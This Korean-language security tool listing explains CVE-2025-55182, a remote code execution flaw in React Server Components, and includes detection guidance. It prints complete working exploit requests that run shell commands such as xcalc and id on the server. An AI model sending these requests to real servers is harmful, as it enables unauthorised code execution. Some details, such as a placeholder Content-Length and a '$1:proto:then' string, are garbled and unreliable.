Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-55182 — Proof-of-concept 익스플로잇으로, React Flight 프로토콜의 안전하지 않은 역직렬화(CVE-2025-55182)를 통한 원격 코드 실행을 시연합니다. Snort 및 OSQuery 탐지 규칙을 포함합니다. | Kitploit
도구/GitHubGitHub/phucc29/cve-2025-55182
Vulnerability AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & Education
GitHubphucc29/cve-2025-55182

CVE-2025-55182

Proof-of-concept 익스플로잇으로, React Flight 프로토콜의 안전하지 않은 역직렬화(CVE-2025-55182)를 통한 원격 코드 실행을 시연합니다. Snort 및 OSQuery 탐지 규칙을 포함합니다.

저장소 보기
41개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

React Server Components와 Flight 프로토콜 이해하기

React Server Components는 React 19에서 소개된 기능으로, 클라이언트 브라우저 대신 서버에서 컴포넌트를 렌더링할 수 있게 해줍니다. 서버는 복잡한 계산 작업을 처리하면서 렌더링된 결과만 클라이언트로 전송할 수 있습니다.

RSC에서 서버와 클라이언트 간 통신은 React Flight 프로토콜을 기반으로 합니다. 이 프로토콜은 서버와 클라이언트 간에 전송되는 데이터의 직렬화 및 역직렬화 과정을 처리합니다. 클라이언트가 서버 측 함수(Server Action)를 호출해야 할 때, 직렬화된 데이터가 포함된 특별한 형식의 요청을 보내며, 서버는 이를 역직렬화하여 처리합니다.

Flight 프로토콜은 데이터 유형 마커가 포함된 특정 직렬화 형식을 사용합니다. 예:

  • $@는 chunk에 대한 참조를 나타냅니다.
  • $B는 Blob에 대한 참조를 나타냅니다.
  • 참조는 콜론으로 구분된 속성 경로를 포함할 수 있습니다 (예: $1:constructor:constructor)

바로 이 직렬화 메커니즘에 취약점이 존재합니다. 서버는 요청된 속성이 실제로 의도된 모듈의 유효한 export인지 제대로 검증하지 않은 채 이러한 참조를 처리합니다.

취약점의 본질

CVE-2025-55182는 본질적으로 RSC가 Flight 프로토콜의 수신 payload를 처리하는 방식에 존재하는 안전하지 않은 역직렬화 취약점입니다. 이 취약점은 react-server-dom-webpack 패키지의 requireModule 함수에 존재합니다.

root@kitploit:~
function requireModule(metadata) {  
 var moduleExports = __webpack_require__(metadata[0]);  
 // ... additional logic ...  
 return moduleExports[metadata[2]];  // VULNERABLE LINE  
}  

심각한 오류는 대괄호 표기법을 사용한 접근에 있습니다: moduleExports[metadata[2]]

JavaScript에서 대괄호 표기법으로 속성에 접근하면, JavaScript 엔진은 해당 객체 자체의 속성만 확인하는 것이 아니라 전체 프로토타입 체인을 탐색합니다. 즉, 공격자는 모듈이 명시적으로 export하지 않은 속성을 참조할 수 있습니다.

가장 중요한 점은 JavaScript의 모든 함수가 Function 생성자를 가리키는 constructor 속성을 가지고 있다는 것입니다. 공격자는 someFunction.constructor에 접근함으로써 전역 Function 생성자에 대한 참조를 얻을 수 있으며, 이 생성자는 문자열 인수로 호출될 때 임의의 JavaScript 코드를 실행할 수 있습니다.

이 취약점은 React의 Flight 프로토콜이 클라이언트가 콜론으로 구분된 참조 구문을 통해 이러한 속성 경로를 지정할 수 있게 허용하기 때문에 악용 가능해집니다. 공격자는 $1:constructor:constructor와 같은 참조를 만들 수 있으며, 이 참조는 다음과 같은 탐색 과정을 수행합니다:

  • 1번 chunk/모듈을 가져옵니다
  • 해당 .constructor 속성에 접근합니다 (Function Constructor 획득)
  • .constructor에 한 번 더 접근합니다 (여전히 Function Constructor이지만 접근 체인을 확인합니다)

익스플로잇 체인

1단계: 가짜 Chunk 객체 생성

PoC는 세 개의 필드로 구성된 multipart form 요청을 전송하는 것으로 시작합니다. 첫 번째 필드에는 의도적으로 생성된 가짜 Chunk 객체가 포함됩니다:

root@kitploit:~
{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

이 객체는 React의 chunk 클래스 내부 구조를 모방합니다. then이 Chunk.prototype.then을 참조하도록 설정함으로써 자기 참조 구조를 만듭니다. React가 이 Chunk를 처리하고 await할 때, then 메서드는 가짜 Chunk를 this 컨텍스트로 하여 호출됩니다.

2단계: Blob 역직렬화 처리기 악용

다음 핵심 구성 요소는 $B1337 참조입니다. React의 Flight 프로토콜에서 $B 접두사는 Blob 참조를 나타냅니다. React가 Blob 참조를 처리할 때, response._formData.get(response._prefix + id)를 사용하는 함수를 호출합니다.

여기서 _response 객체에는 악성 속성이 삽입되어 있습니다. Blob 처리기가 response._formData.get(response._prefix + id)를 실행할 때:

실제로는 다음을 실행하게 됩니다: Function("process.mainModule.require('child_process').execSync('xcalc');1337")

그 이유는 _formData.get이 $1:constructor:constructor로 설정되어 있고, 이 참조가 Function constructor로 해석되기 때문입니다. _prefix 값에는 악성 코드가 포함되어 있습니다. 결합되면 Function constructor가 악성 코드 문자열을 인수로 하여 호출되어 임의의 JS 코드를 포함하는 함수를 생성하고 실행합니다.

3단계: 코드 실행

process.mainModule.require('child_process').execSync('xcalc') payload는 이 익스플로잇의 능력을 보여줍니다. Payload는 다음을 수행합니다:

  • process.mainModule에 접근합니다 (현재 실행 중인 주요 모듈)
  • require 메서드를 사용하여 child_process 모듈을 로드합니다
  • execSync를 호출하여 운영체제 명령을 실행합니다
  • 이 경우 익스플로잇 성공을 증명하기 위해 계산기 앱(xcalc)을 엽니다

이 payload는 reverse shell을 설정하거나, 비밀 정보가 포함된 환경 변수를 추출하거나, 민감한 파일을 읽거나, Node.js 프로세스가 권한을 가진 모든 작업을 수행하도록 수정할 수 있습니다.

실제 PoC 분석

maple3142의 PoC에 있는 완전한 request를 살펴보겠습니다:

root@kitploit:~
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: [Độ_dài_thực_tế_của_body]

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Next-Action: x 헤더는 React의 Server Action 처리 메커니즘을 트리거합니다. 본문은 3개의 부분으로 구성됩니다:

  • 필드 0: 악성 _response 구조를 포함하는 가짜 Chunk 객체.
  • 필드 1: 필드 0을 다시 가리키는 $@0 참조로, 자기 참조 구조를 생성합니다.
  • 필드 2: 빈 배열로, 요청 구조를 완성합니다.

서버가 이 요청을 처리하면, 필드 0을 역직렬화하고 필드 1에서 $@0 참조를 만나 자기 참조 then 속성을 설정한 다음, Function constructor를 통해 코드를 실행하는 Blob 처리기를 트리거합니다.

영향을 받는 버전 및 공격 표면

CVE-2025-55182는 다음 버전의 React Server Components에 영향을 미칩니다:

  • React 19.0.0, 19.1.0, 19.1.1 및 19.2.0.
  • Next.js 14.3.0-canary.77 이상, 전체 15.x 버전 및 패치 이전의 16.x 버전.
  • React Router, Waku, Redwood SDK 및 기타 여러 RSC 플러그인과 같이 RSC를 사용하는 다른 프레임워크.

이 취약점은 다음과 같은 이유로 위험합니다:

  • 기본 구성도 영향을 받음: create-next-app으로 생성된 표준 Next.js 애플리케이션은 소스 코드 변경 없이 악용될 수 있습니다.
  • 인증 불필요: 공격은 어떠한 자격 증명 없이도 수행될 수 있습니다.
  • 높은 신뢰성: 보안 연구원들은 거의 100%에 가까운 악용 성공률을 기록했습니다.
  • 광범위한 배포: Wiz Research 데이터에 따르면 클라우드 환경의 39%가 취약한 버전을 포함하고 있습니다.

Shodan에 따르면, 571,000개 이상의 공개 서버가 React 구성 요소를 사용하고 444,000개의 서버가 Next.js를 사용합니다. 모두가 영향을 받는 버전을 실행하는 것은 아니지만, 잠재적 공격 표면은 매우 넓습니다.

탐지

공격 request에는 다음과 같은 매우 특정한 요소들의 조합이 필수적으로 포함되어야 합니다:

  • 헤더: Next-Action 헤더가 포함되어 있고 데이터 형식이 multipart/form-data인 경우.
  • Payload:
    • 특정 form-data 선언 문자열 포함: name="0"
    • "status": "resolved_model"과 같은 악성 속성 포함 (원본 문서에는 위에서 "reserved_model"로 잘못 표기되었지만 표준 규칙은 resolved입니다)
    • "then":"$1:proto:then" 문자열 포함 — 이는 공격자가 외부에서 RSC 메커니즘을 조작하려고 시도하고 있음을 나타내는 매우 정확한 신호입니다.

두 가지 탐지 메커니즘

Snort를 이용한 네트워크 모니터링

작동 방식: 이 Snort 규칙은 2번 항목에 언급된 비정상 징후(Headers + PCRE 악성 payload 문자열 검사)를 모두 갖춘 서버로 향하는 네트워크 트래픽(to_server)을 차단/경고합니다.

목적: 네트워크 상에서 익스플로잇 행위가 발생하는 즉시 탐지하고 차단합니다.

OSQuery를 이용한 취약점 검사

작동 방식: 서버 또는 소프트웨어 빌드 프로세스(CI/CD)에서 정기적으로 스캔 명령을 실행하여 취약한 Node.js 라이브러리 패키지(npm_packages)를 찾습니다.

대상 패키지: react-server-dom-parcel, react-server-dom-turbopack 및 react-server-dom-webpack

스캔되는 취약 버전: 19.0.0, 19.1.0 이상 19.1.2 미만, 및 19.2.0.

목적: 위험한 애플리케이션이 운영(Product) 환경에 배포되기 전에 사전에 탐지합니다.

랩(lab)용 payload:

root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

도구 다운로드